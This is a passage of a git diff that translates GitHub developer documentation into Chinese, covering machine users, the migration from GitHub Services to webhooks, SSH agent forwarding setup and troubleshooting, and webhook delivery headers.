+1. 使用相应的 REST API 端点 [为应用创建安装访问令牌](/rest/reference/apps#create-an-installation-access-token-for-an-app)生成服务器到服务器令牌。 这需要使用 JWT 作为 GitHub 应用程序进行身份验证，更多信息请参阅[作为 GitHub 应用程序进行身份验证](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app)以及[作为安装进行身份验证](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)。
+1. 使用此服务器到服务器令牌，通过 REST 或 GraphQL API 或者通过 Git 客户端与您的仓库进行交互。
 
-## Machine users
+## 机器用户
 
-If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team).
+如果您的服务器需要访问多个仓库，您可以创建一个新的 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 帐户并附加一个专用于自动化的 SSH 密钥。 由于此帐户在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上不会被人使用，它被称为_机器用户_。 您可以将机器用户添加为个人仓库上的[协作者][collaborator]（授予读取和写入权限）、添加为组织仓库上的[外部协作者][outside-collaborator]（授予读取、写入或管理员权限）或添加到对需要自动化的仓库具有访问权限的[团队][team]（授予团队权限）。
 
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Tip:** Our [terms of service][tos] state:
+**提示：**我们的[服务条款][tos]规定：
 
-> *Accounts registered by "bots" or other automated methods are not permitted.*
+> *不允许通过“自动程序”或其他自动方法注册帐户。*
 
-This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool.
+这意味着您不能自动创建帐户。 但是，如果要创建一个机器用户来自动化任务（例如在项目或组织中部署脚本），那就太酷了。
 
 {% endtip %}
 
 {% endif %}
 
-#### Pros
+#### 优点
 
-* Anyone with access to the repository and server has the ability to deploy the project.
-* No (human) users need to change their local SSH settings.
-* Multiple keys are not needed; one per server is adequate.
+* 有权访问仓库和服务器的任何人都能够部署项目。
+* 没有（人类）用户需要更改其本地 SSH 设置。
+* 不需要多个密钥；每台服务器一个就足够了。
 
-#### Cons
+#### 缺点
 
-* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access.
-* Machine user keys, like deploy keys, are usually not protected by a passphrase.
+* 只有组织才能将机器用户限制为只读访问。 个人仓库始终授予协作者读取/写入权限。
+* 机器用户密钥（如部署密钥）通常不受密码保护。
 
-#### Setup
+#### 设置
 
-1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account.
-2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization.
+1. 在服务器上[运行 `ssh-keygen` 进程][generating-ssh-keys]，并将公钥附加到机器用户帐户。
+2. 授予机器用户帐户访问要自动化的仓库的权限。 为此，您可以将帐户添加为[协作者][collaborator]、添加为[外部协作者][outside-collaborator]或添加到组织中的[团队][team]。
+
+## 延伸阅读
+- [配置通知](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
 
 [ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/
 [generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key
 [tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/
 [git-automation]: /articles/git-automation-with-oauth-tokens
+[git-automation]: /articles/git-automation-with-oauth-tokens
 [collaborator]: /articles/inviting-collaborators-to-a-personal-repository
 [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization
 [team]: /articles/adding-organization-members-to-a-team
 
-## Further reading
-- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
-
diff --git a/translations/zh-CN/content/developers/overview/replacing-github-services.md b/translations/zh-CN/content/developers/overview/replacing-github-services.md
index 7e39883b4a..149001acec 100644
--- a/translations/zh-CN/content/developers/overview/replacing-github-services.md
+++ b/translations/zh-CN/content/developers/overview/replacing-github-services.md
@@ -1,6 +1,6 @@
 ---
-title: Replacing GitHub Services
-intro: 'If you''re still relying on the deprecated {% data variables.product.prodname_dotcom %} Services, learn how to migrate your service hooks to webhooks.'
+title: 替换 GitHub 服务
+intro: '如果您仍然依赖已弃用的 {% data variables.product.prodname_dotcom %} 服务，请了解如何将服务挂钩迁移到 web 挂钩。'
 redirect_from:
   - /guides/replacing-github-services
   - /v3/guides/automating-deployments-to-integrators
@@ -14,61 +14,61 @@ topics:
 ---
 
 
-We have deprecated GitHub Services in favor of integrating with webhooks. This guide helps you transition to webhooks from GitHub Services. For more information on this announcement, see the [blog post](https://developer.github.com/changes/2018-10-01-denying-new-github-services).
+我们弃用了 GitHub 服务，转而支持与 web 挂钩集成。 本指南可帮助您从 GitHub 服务过渡到 web 挂钩。 有关此公告的更多信息，请参阅[博客文章](https://developer.github.com/changes/2018-10-01-denying-new-github-services)。
 
 {% note %}
 
-As an alternative to the email service, you can now start using email notifications for pushes to your repository. See "[About email notifications for pushes to your repository](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)" to learn how to configure commit email notifications.
+作为电子邮件服务的替代方法，您现在可以开始使用推送到仓库的电子邮件通知。 有关如何配置提交电子邮件通知，请参阅“[关于推送到仓库的电子邮件通知](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)”。
 
 {% endnote %}
 
-## Deprecation timeline
+## 弃用时间表
 
-- **October 1, 2018**: GitHub discontinued allowing users to install services. We removed GitHub Services from the GitHub.com user interface.
-- **January 29, 2019**: As an alternative to the email service, you can now start using email notifications for pushes to your repository. See "[About email notifications for pushes to your repository](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)" to learn how to configure commit email notifications.
-- **January 31, 2019**: GitHub will stop delivering installed services' events on GitHub.com.
+- **2018 年 10 月 1 日**：GitHub 停止允许用户安装服务。 我们从 GitHub.com 用户界面中删除了 GitHub 服务。
+- **2019 年 1 月 29 日**：作为电子邮件服务的替代方法，您现在可以开始使用推送到仓库的电子邮件通知。 有关如何配置提交电子邮件通知，请参阅“[关于推送到仓库的电子邮件通知](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/)”。
+- **2019 年 1 月 31 日**：GitHub 将停止在 GitHub.com 上交付已安装服务的事件。
 
-## GitHub Services background
+## GitHub 服务背景信息
 
-GitHub Services (sometimes referred to as Service Hooks) is the legacy method of integrating where GitHub hosted a portion of our integrator’s services via [the `github-services` repository](https://github.com/github/github-services). Actions performed on GitHub trigger these services, and you can use these services to trigger actions outside of GitHub.
+GitHub 服务（有时称为服务挂钩）是传统的集成方法，其中 GitHub 通过[ `github-services` 仓库](https://github.com/github/github-services)托管集成者的部分服务。 在 GitHub 上执行的操作会触发这些服务，您可以使用这些服务在 GitHub 之外触发操作。
 
 {% ifversion ghes or ghae %}
-## Finding repositories that use GitHub Services
-We provide a command-line script that helps you identify which repositories on your appliance use GitHub Services. For more information, see [ghe-legacy-github-services-report](/enterprise/{{currentVersion}}/admin/articles/command-line-utilities/#ghe-legacy-github-services-report).{% endif %}
+## 查找使用 GitHub 服务的仓库
+我们提供命令行脚本，帮助您识别设备上哪些仓库使用 GitHub 服务。 更多信息请参阅 [ghe-legacy-github-services-report](/enterprise/{{currentVersion}}/admin/articles/command-line-utilities/#ghe-legacy-github-services-report)。{% endif %}
 
-## GitHub Services vs. webhooks
+## GitHub 服务与 web 挂钩
 
-The key differences between GitHub Services and webhooks:
-- **Configuration**: GitHub Services have service-specific configuration options, while webhooks are simply configured by specifying a URL and a set of events.
-- **Custom logic**: GitHub Services can have custom logic to respond with multiple actions as part of processing a single event, while webhooks have no custom logic.
-- **Types of requests**: GitHub Services can make HTTP and non-HTTP requests, while webhooks can make HTTP requests only.
+GitHub 服务与 web 挂钩之间的主要区别：
+- **配置**：GitHub 服务具有特定于服务的配置选项，而 web 挂钩只需指定 URL 和一组事件即可进行配置。
+- **自定义逻辑**：GitHub 服务可以具有自定义逻辑，在处理单个事件时使用多个操作进行响应，而 web 挂钩没有自定义逻辑。
+- **服务类型**：GitHub 服务可以发出 HTTP 和非 HTTP 请求，而 web 挂钩只能发出 HTTP 请求。
 
-## Replacing Services with webhooks
+## 用 web 挂钩替换服务
 
-To replace GitHub Services with Webhooks:
+要用 web 挂钩替换 GitHub 服务:
 
-1. Identify the relevant webhook events you’ll need to subscribe to from [this list](/webhooks/#events).
+1. 从[此列表](/webhooks/#events)确定您需要订阅的相关 web 挂钩事件。
 
-2. Change your configuration depending on how you currently use GitHub Services:
+2. 根据您当前如何使用 GitHub 服务更改您的配置：
 
-   - **GitHub Apps**: Update your app's permissions and subscribed events to configure your app to receive the relevant webhook events.
-   - **OAuth Apps**: Request either the `repo_hook` and/or `org_hook` scope(s) to manage the relevant events on behalf of users.
-   - **GitHub Service providers**: Request that users manually configure a webhook with the relevant events sent to you, or take this opportunity to build an app to manage this functionality. For more information, see "[About apps](/apps/about-apps/)."
+   - **GitHub 应用程序**：更新应用程序的权限和订阅的事件，以配置应用程序接收相关的 web 挂钩事件。
+   - **OAuth 应用程序**：请求 `repo_hook` 和/或 `org_hook` 作用域以代表用户管理相关事件。
+   - **GitHub 服务提供商**：请求用户手动配置包含发送给您的相关事件的 web 挂钩，或者借此机会构建一个应用程序来管理此功能。 更多信息请参阅“[关于应用程序](/apps/about-apps/)”。
 
-3. Move additional configuration from outside of GitHub. Some GitHub Services require additional, custom configuration on the configuration page within GitHub. If your service does this, you will need to move this functionality into your application or rely on GitHub or OAuth Apps where applicable.
+3. 从 GitHub 外部移动额外配置。 某些 GitHub 服务需要在 GitHub 中的配置页面上进行额外的自定义配置。 如果您的服务这样做，则需要将此功能移动到应用程序中，或在适用的情况下依赖 GitHub 或 OAuth 应用程序。
 
-## Supporting {% data variables.product.prodname_ghe_server %}
+## 支持 {% data variables.product.prodname_ghe_server %}
 
-- **{% data variables.product.prodname_ghe_server %} 2.17**: {% data variables.product.prodname_ghe_server %} release 2.17 and higher will discontinue allowing admins to install services. Admins will continue to be able to modify existing service hooks and receive service hooks in {% data variables.product.prodname_ghe_server %} release 2.17 through 2.19. As an alternative to the email service, you will be able to use email notifications for pushes to your repository in {% data variables.product.prodname_ghe_server %} 2.17 and higher. See [this blog post](https://developer.github.com/changes/2019-01-29-life-after-github-services) to learn more.
-- **{% data variables.product.prodname_ghe_server %} 2.20**: {% data variables.product.prodname_ghe_server %} release 2.20 and higher will stop delivering all installed services' events.
+- **{% data variables.product.prodname_ghe_server %} 2.17**：{% data variables.product.prodname_ghe_server %} 2.17 及更高版本将停止允许管理员安装服务。 在 {% data variables.product.prodname_ghe_server %} 2.17 至 2.19 版本中，管理员仍然能够修改现有服务挂钩和接收服务挂钩。 在 {% data variables.product.prodname_ghe_server %} 2.17 及更高版本中，作为电子邮件服务的替代方法，您将能够使用推送到仓库的电子邮件通知。 更多信息请参阅[这篇博客文章](https://developer.github.com/changes/2019-01-29-life-after-github-services)。
+- **{% data variables.product.prodname_ghe_server %} 2.20**：{% data variables.product.prodname_ghe_server %} 2.20 及更高版本将停止交付所有已安装服务的事件。
 
-The {% data variables.product.prodname_ghe_server %} 2.17 release will be the first release that does not allow admins to install GitHub Services. We will only support existing GitHub Services until the {% data variables.product.prodname_ghe_server %} 2.20 release. We will also accept any critical patches for your GitHub Service running on {% data variables.product.prodname_ghe_server %} until October 1, 2019.
+{% data variables.product.prodname_ghe_server %} 2.17 版将是不允许管理员安装 GitHub 服务的第一个版本。 我们将仅支持现有的 GitHub 服务，直到 {% data variables.product.prodname_ghe_server %} 2.20 版本。 我们还将接受 {% data variables.product.prodname_ghe_server %} 上运行的 GitHub 服务的任何重要补丁，直到 2019 年 10 月 1 日。
 
-## Migrating with our help
+## 在我们的帮助下迁移
 
-Please [contact us](https://github.com/contact?form%5Bsubject%5D=GitHub+Services+Deprecation) with any questions.
+如有任何问题，请[联系我们](https://github.com/contact?form%5Bsubject%5D=GitHub+Services+Deprecation)。
 
-As a high-level overview, the process of migration typically involves:
-  - Identifying how and where your product is using GitHub Services.
-  - Identifying the corresponding webhook events you need to configure in order to move to plain webhooks.
-  - Implementing the design using either [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/) or [{% data variables.product.prodname_github_apps %}. {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) are preferred. To learn more about why {% data variables.product.prodname_github_apps %} are preferred, see "[Reasons for switching to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/#reasons-for-switching-to-github-apps)."
+作为高度概述，迁移过程通常涉及：
+  - 确定产品使用 GitHub 服务的方式和位置。
+  - 确定需要配置的相应 web 挂钩事件，以便移动到普通 web 挂钩。
+  - 使用 [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/) 或 [{% data variables.product.prodname_github_apps %} 实现设计。 {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) 优先。 要了解为什么优先使用 {% data variables.product.prodname_github_apps %}，请参阅“[切换到 {% data variables.product.prodname_github_apps %} 的原因](/apps/migrating-oauth-apps-to-github-apps/#reasons-for-switching-to-github-apps)”。
diff --git a/translations/zh-CN/content/developers/overview/using-ssh-agent-forwarding.md b/translations/zh-CN/content/developers/overview/using-ssh-agent-forwarding.md
index 1a5c54cd28..152a12a255 100644
--- a/translations/zh-CN/content/developers/overview/using-ssh-agent-forwarding.md
+++ b/translations/zh-CN/content/developers/overview/using-ssh-agent-forwarding.md
@@ -1,6 +1,6 @@
 ---
-title: Using SSH agent forwarding
-intro: 'To simplify deploying to a server, you can set up SSH agent forwarding to securely use local SSH keys.'
+title: 使用 SSH 代理转发
+intro: 为简化向服务器的部署，您可以设置 SSH 代理转发以安全地使用本地 SSH 密钥。
 redirect_from:
   - /guides/using-ssh-agent-forwarding
   - /v3/guides/using-ssh-agent-forwarding
@@ -11,22 +11,22 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: SSH agent forwarding
+shortTitle: SSH 代理转发
 ---
 
 
 
-SSH agent forwarding can be used to make deploying to a server simple.  It allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server.
+SSH 代理转发可用于简化向服务器的部署。  它允许您使用本地 SSH 密钥，而不是将密钥（不带密码！）放在服务器上。
 
-If you've already set up an SSH key to interact with {% data variables.product.product_name %}, you're probably familiar with `ssh-agent`. It's a program that runs in the background and keeps your key loaded into memory, so that you don't need to enter your passphrase every time you need to use the key. The nifty thing is, you can choose to let servers access your local `ssh-agent` as if they were already running on the server. This is sort of like asking a friend to enter their password so that you can use their computer.
+如果已设置 SSH 密钥 来与 {% data variables.product.product_name %} 交互，您可能已经熟悉了 `ssh-agent`。 这是一个在后台运行的程序，它将密钥加载到内存中，因此您不需要每次使用密钥时都输入密码。 最妙的是，您可以选择让服务器访问您的本地 `ssh-agent`，就像它们已经在服务器上运行一样。 这有点像要求朋友输入他们的密码，以便您可以使用他们的计算机。
 
-Check out [Steve Friedl's Tech Tips guide][tech-tips] for a more detailed explanation of SSH agent forwarding.
+有关 SSH 代理转发的更详细说明，请参阅 [Steve Friedl 的技术提示指南][tech-tips]。
 
-## Setting up SSH agent forwarding
+## 设置 SSH 代理转发
 
-Ensure that your own SSH key is set up and working. You can use [our guide on generating SSH keys][generating-keys] if you've not done this yet.
+确保您自己的 SSH 密钥已设置并正常运行。 如果您还没有 SSH 密钥，请使用[我们的 SSH 密钥生成指南][generating-keys]。
 
-You can test that your local key works by entering `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` in the terminal:
+您可以在终端输入 `ssh -T git@{% ifversion ghes or ghae %}主机名{% else %}github.com{% endif %}` 来测试您的本地密钥是否有效：
 
 ```shell
 $ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
@@ -35,26 +35,26 @@ $ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
 > shell access.
 ```
 
-We're off to a great start. Let's set up SSH to allow agent forwarding to your server.
+开局不错。 让我们设置 SSH 以允许代理转发到您的服务器。
 
-1. Using your favorite text editor, open up the file at `~/.ssh/config`. If this file doesn't exist, you can create it by entering `touch ~/.ssh/config` in the terminal.
-
-2. Enter the following text into the file, replacing `example.com` with your server's domain name or IP:
+1. 使用您喜欢的文本编辑器打开位于 `~/.ssh/config` 的文件。 如果此文件不存在，您可以通过在终端输入 `touch ~/.ssh/config` 来创建它。
 
+2. 在文件中输入以下文本，将 `example.com` 替换为服务器的域名或 IP：
+   
         Host example.com
           ForwardAgent yes
 
 {% warning %}
 
-**Warning:** You may be tempted to use a wildcard like `Host *` to just apply this setting to all SSH connections. That's not really a good idea, as you'd be sharing your local SSH keys with *every* server you SSH into. They won't have direct access to the keys, but they will be able to use them *as you* while the connection is established. **You should only add servers you trust and that you intend to use with agent forwarding.**
+**警告：**您可能想使用 `Host *` 这样的通配符将此设置应用于所有 SSH 连接。 但这并不是一个好主意，因为您将与 SSH 到的*每台*服务器共享您的本地 SSH 密钥。 它们无法直接访问密钥，但是在建立连接后，它们可以*像您一样*使用这些密钥。 **您应该只添加您信任的服务器以及打算用于代理转发的服务器。**
 
 {% endwarning %}
 
-## Testing SSH agent forwarding
+## 测试 SSH 代理转发
 
-To test that agent forwarding is working with your server, you can SSH into your server and run `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` once more.  If all is well, you'll get back the same prompt as you did locally.
+要测试代理转发是否对您的服务器有效，您可以 SSH 到服务器，然后再次运行 `ssh -T git@{% ifversion ghes or ghae %}主机名{% else %}github.com{% endif %}`。  如果一切正常，您将收到与本地使用相同的提示。
 
-If you're unsure if your local key is being used, you can also inspect the `SSH_AUTH_SOCK` variable on your server:
+如果不确定是否在使用本地密钥，您还可以检查服务器上的 `SSH_AUTH_SOCK` 变量：
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
@@ -62,7 +62,7 @@ $ echo "$SSH_AUTH_SOCK"
 > /tmp/ssh-4hNGMk8AZX/agent.79453
 ```
 
-If the variable is not set, it means that agent forwarding is not working:
+如果未设置变量，则表示代理转发不起作用：
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
@@ -73,13 +73,13 @@ $ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}
 > Permission denied (publickey).
 ```
 
-## Troubleshooting SSH agent forwarding
+## SSH 代理转发疑难解答
 
-Here are some things to look out for when troubleshooting SSH agent forwarding.
+以下是排查 SSH 代理转发时需要注意的一些事项。
 
-### You must be using an SSH URL to check out code
+### 您必须使用 SSH URL 检出代码
 
-SSH forwarding only works with SSH URLs, not HTTP(s) URLs. Check the *.git/config* file on your server and ensure the URL is an SSH-style URL like below:
+SSH 转发仅适用于 SSH URL，而不是 HTTP(s) URL。 检查服务器上的 *.git/config* 文件，并确保 URL 是 SSH 样式的 URL，如下所示：
 
 ```shell
 [remote "origin"]
@@ -87,13 +87,13 @@ SSH forwarding only works with SSH URLs, not HTTP(s) URLs. Check the *.git/confi
   fetch = +refs/heads/*:refs/remotes/origin/*
 ```
 
-### Your SSH keys must work locally
+### 您的 SSH 密钥必须在本地有效
 
-Before you can make your keys work through agent forwarding, they must work locally first. [Our guide on generating SSH keys][generating-keys] can help you set up your SSH keys locally.
+在通过代理转发使密钥起作用之前，它们必须首先在本地有效。 [我们的 SSH 密钥生成指南][generating-keys]可帮助您在本地设置 SSH 密钥。
 
-### Your system must allow SSH agent forwarding
+### 您的系统必须允许 SSH 代理转发
 
-Sometimes, system configurations disallow SSH agent forwarding. You can check if a system configuration file is being used by entering the following command in the terminal:
+有时，系统配置不允许 SSH 代理转发。 您可以通过在终端中输入以下命令来检查是否正在使用系统配置文件：
 
 ```shell
 $ ssh -v <em>example.com</em>
@@ -107,7 +107,7 @@ $ exit
 # Returns to your local command prompt
 ```
 
-In the example above, the file *~/.ssh/config* is loaded first, then */etc/ssh_config* is read.  We can inspect that file to see if it's overriding our options by running the following commands:
+在上面的示例中，先加载 *~/.ssh/config* 文件，然后读取 */etc/ssh_config* 文件。  通过运行以下命令，我们可以检查该文件以查看它是否覆盖了我们的选项：
 
 ```shell
 $ cat /etc/ssh_config
@@ -117,17 +117,17 @@ $ cat /etc/ssh_config
 >   ForwardAgent no
 ```
 
-In this example, our */etc/ssh_config* file specifically says `ForwardAgent no`, which is a way to block agent forwarding. Deleting this line from the file should get agent forwarding working once more.
+在此示例中，我们的 */etc/ssh_config* 文件特别表示 `ForwardAgent no`，这是一种阻止代理转发的方式。 从文件中删除此行应该会使代理转发再次起作用。
 
-### Your server must allow SSH agent forwarding on inbound connections
+### 您的服务器必须允许入站连接上的 SSH 代理转发
 
-Agent forwarding may also be blocked on your server. You can check that agent forwarding is permitted by SSHing into the server and running `sshd_config`. The output from this command should indicate that `AllowAgentForwarding` is set.
+代理转发也可能在您的服务器上被阻止。 您可以通过 SSH 到服务器并运行 `sshd_config` 来检查是否允许代理转发。 此命令的输出应指示 `AllowAgentForwarding` 已设置。
 
-### Your local `ssh-agent` must be running
+### 您的本地 `ssh-agent` 必须正在运行
 
-On most computers, the operating system automatically launches `ssh-agent` for you.  On Windows, however, you need to do this manually. We have [a guide on how to start `ssh-agent` whenever you open Git Bash][autolaunch-ssh-agent].
+在大多数计算机上，操作系统会自动为您启动 `ssh-agent`。  但是在 Windows 上，您需要手动执行此操作。 我们提供了[在每次打开 Git Bash 时如何启动 `ssh-agent` 的指南][autolaunch-ssh-agent]。
 
-To verify that `ssh-agent` is running on your computer, type the following command in the terminal:
+要验证 `ssh-agent` 是否正在您的计算机上运行，请在终端中键入以下命令：
 
 ```shell
 $ echo "$SSH_AUTH_SOCK"
@@ -135,15 +135,15 @@ $ echo "$SSH_AUTH_SOCK"
 > /tmp/launch-kNSlgU/Listeners
 ```
 
-### Your key must be available to `ssh-agent`
+### 您的密钥必须可用于 `ssh-agent`
 
-You can check that your key is visible to `ssh-agent` by running the following command:
+您可以通过运行以下命令来检查您的密钥是否对 `ssh-agent` 可见：
 
 ```shell
 ssh-add -L
 ```
 
-If the command says that no identity is available, you'll need to add your key:
+如果命令说没有身份可用，则需要添加密钥：
 
 ```shell
 $ ssh-add <em>yourkey</em>
@@ -151,7 +151,7 @@ $ ssh-add <em>yourkey</em>
 
 {% tip %}
 
-On macOS, `ssh-agent` will "forget" this key, once it gets restarted during reboots. But you can import your SSH keys into Keychain using this command:
+在 MacOS 上，一旦在重新引导过程中重新启动 `ssh-agent`，它将“忘记”该密钥。 但是，您可以使用此命令将 SSH 密钥导入密钥链：
 
 ```shell
 $ ssh-add -K <em>yourkey</em>
@@ -161,5 +161,4 @@ $ ssh-add -K <em>yourkey</em>
 
 [tech-tips]: http://www.unixwiz.net/techtips/ssh-agent-forwarding.html
 [generating-keys]: /articles/generating-ssh-keys
-[ssh-passphrases]: /ssh-key-passphrases/
 [autolaunch-ssh-agent]: /github/authenticating-to-github/working-with-ssh-key-passphrases#auto-launching-ssh-agent-on-git-for-windows
diff --git a/translations/zh-CN/content/developers/webhooks-and-events/events/github-event-types.md b/translations/zh-CN/content/developers/webhooks-and-events/events/github-event-types.md
index ceb6aa1e8c..e32423f944 100644
--- a/translations/zh-CN/content/developers/webhooks-and-events/events/github-event-types.md
+++ b/translations/zh-CN/content/developers/webhooks-and-events/events/github-event-types.md
@@ -1,7 +1,6 @@
 ---
 title: GitHub 事件类型
 intro: '对于 {% data variables.product.prodname_dotcom %} 事件 API，了解每个事件类型、{% data variables.product.prodname_dotcom %} 上的触发操作以及每个事件的唯一属性。'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /v3/activity/event_types
   - /developers/webhooks-and-events/github-event-types
diff --git a/translations/zh-CN/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md b/translations/zh-CN/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
index f98ec58b61..cf50596c45 100644
--- a/translations/zh-CN/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
+++ b/translations/zh-CN/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
@@ -1,6 +1,6 @@
 ---
-title: Webhook events and payloads
-intro: 'For each webhook event, you can review when the event occurs, an example payload, and descriptions about the payload object parameters.'
+title: Web 挂钩事件和有效负载
+intro: 对于每个 web 挂钩事件，您可以查看事件发生的时间、示例有效负载以及有关有效负载对象参数的说明。
 product: '{% data reusables.gated-features.enterprise_account_webhooks %}'
 redirect_from:
   - /early-access/integrations/webhooks
@@ -14,52 +14,53 @@ versions:
   ghec: '*'
 topics:
   - Webhooks
-shortTitle: Webhook events & payloads
+shortTitle: Web 挂钩事件和有效负载
 ---
+
 {% ifversion fpt or ghec %}
 
 {% endif %}
 
 {% data reusables.webhooks.webhooks_intro %}
 
-You can create webhooks that subscribe to the events listed on this page. Each webhook event includes a description of the webhook properties and an example payload. For more information, see "[Creating webhooks](/webhooks/creating/)."
+您可以创建订阅此页所列事件的 web 挂钩。 每个 web 挂钩事件都包括 web 挂钩属性的说明和示例有效负载。 更多信息请参阅“[创建 web 挂钩](/webhooks/creating/)”。
 
-## Webhook payload object common properties
+## Web 挂钩有效负载对象共有属性
 
-Each webhook event payload also contains properties unique to the event. You can find the unique properties in the individual event type sections.
+每个 web 挂钩事件有效负载还包含特定于事件的属性。 您可以在各个事件类型部分中找到这些独特属性。
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | Most webhook payloads contain an `action` property that contains the specific activity that triggered the event.
-{% data reusables.webhooks.sender_desc %} This property is included in every webhook payload.
-{% data reusables.webhooks.repo_desc %} Webhook payloads contain the `repository` property when the event occurs from activity in a repository.
+| 键        | 类型    | 描述                                           |
+| -------- | ----- | -------------------------------------------- |
+| `action` | `字符串` | 大多数 web 挂钩有效负载都包括 `action` 属性，其中包含触发事件的特定活动。 |
+{% data reusables.webhooks.sender_desc %} 此属性包含在每个 web 挂钩有效负载中。
+{% data reusables.webhooks.repo_desc %} 当事件发生源于仓库中的活动时，web 挂钩有效负载包含 `repository` 属性。
 {% data reusables.webhooks.org_desc %}
-{% data reusables.webhooks.app_desc %} For more information, see "[Building {% data variables.product.prodname_github_app %}](/apps/building-github-apps/)."
+{% data reusables.webhooks.app_desc %} 更多信息请参阅“[构建 {% data variables.product.prodname_github_app %}](/apps/building-github-apps/)”。
 
-The unique properties for a webhook event are the same properties you'll find in the `payload` property when using the [Events API](/rest/reference/activity#events). One exception is the [`push` event](#push). The unique properties of the `push` event webhook payload and the `payload` property in the Events API differ. The webhook payload contains more detailed information.
+Web 挂钩事件的独特属性与您使用[事件 API](/rest/reference/activity#events) 时在 `payload` 属性中发现的属性相同。 唯一的例外是 [`push` 事件](#push)。 `push` 事件 web 挂钩有效负载的独特属性与 Events API 中的 `payload` 属性不同。 Web 挂钩有效负载包含更详细的信息。
 
 {% tip %}
 
-**Note:** Payloads are capped at 25 MB. If your event generates a larger payload, a webhook will not be fired. This may happen, for example, on a `create` event if many branches or tags are pushed at once. We suggest monitoring your payload size to ensure delivery.
+**注：**有效负载的上限为 25 MB。 如果事件生成了更大的有效负载，web 挂钩将不会触发。 例如，如果同时推送多个分支或标记，这种情况可能会发生在 `create` 事件中。 我们建议监控有效负载的大小以确保成功递送。
 
 {% endtip %}
 
-### Delivery headers
+### 递送标头
 
-HTTP POST payloads that are delivered to your webhook's configured URL endpoint will contain several special headers:
+递送到 web 挂钩已配置 URL 端点的 HTTP POST 有效负载将包含几个特殊标头：
 
-Header | Description
--------|-------------|
-`X-GitHub-Event`| Name of the event that triggered the delivery.
-`X-GitHub-Delivery`| A [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier) to identify the delivery.{% ifversion ghes or ghae %}
-`X-GitHub-Enterprise-Version` | The version of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.
-`X-GitHub-Enterprise-Host` | The hostname of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.{% endif %}{% ifversion not ghae %}
-`X-Hub-Signature`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`.{% ifversion fpt or ghes or ghec %} `X-Hub-Signature` is provided for compatibility with existing integrations, and we recommend that you use the more secure `X-Hub-Signature-256` instead.{% endif %}{% endif %}
-`X-Hub-Signature-256`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-256 hash function and the `secret` as the HMAC `key`.
+| 标头                            | 描述                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `X-GitHub-Event`              | 触发递送的事件名称。                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| `X-GitHub-Delivery`           | 用于标识递送的 [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier)。{% ifversion ghes or ghae %}
